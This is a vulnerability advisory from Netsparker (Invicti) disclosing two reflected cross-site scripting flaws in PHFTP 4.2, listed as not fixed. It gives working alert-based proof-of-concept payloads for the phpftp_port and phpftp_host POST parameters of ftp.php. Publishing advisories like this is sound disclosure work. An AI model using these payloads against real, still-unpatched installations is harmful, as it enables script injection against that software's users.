Multiple Reflected XSS Vulnerabilities in PHFTP 4.2

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected XSS Vulnerabilities in PHFTP
Affected Software: PHFTP
Affected Versions: 4.2
Vendor Homepage: https://sourceforge.net/projects/phftp/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-025

Technical Details

Proof of Concept URLs for XSS vulnerabilities in PHFTP 4.2;

URL: /phftp_42/ftp.php
Parameter Name: phpftp_port
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000156)</scRipt>

URL: /phftp_42/ftp.php
Parameter Name: phpftp_host
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00014A)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

01 Feb 2017 – Issue reported.
12 Jun 2017 – Advisory released.

Solution

No solution is available at the time of publishing this advisory.

Credits & Authors

These issues have been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

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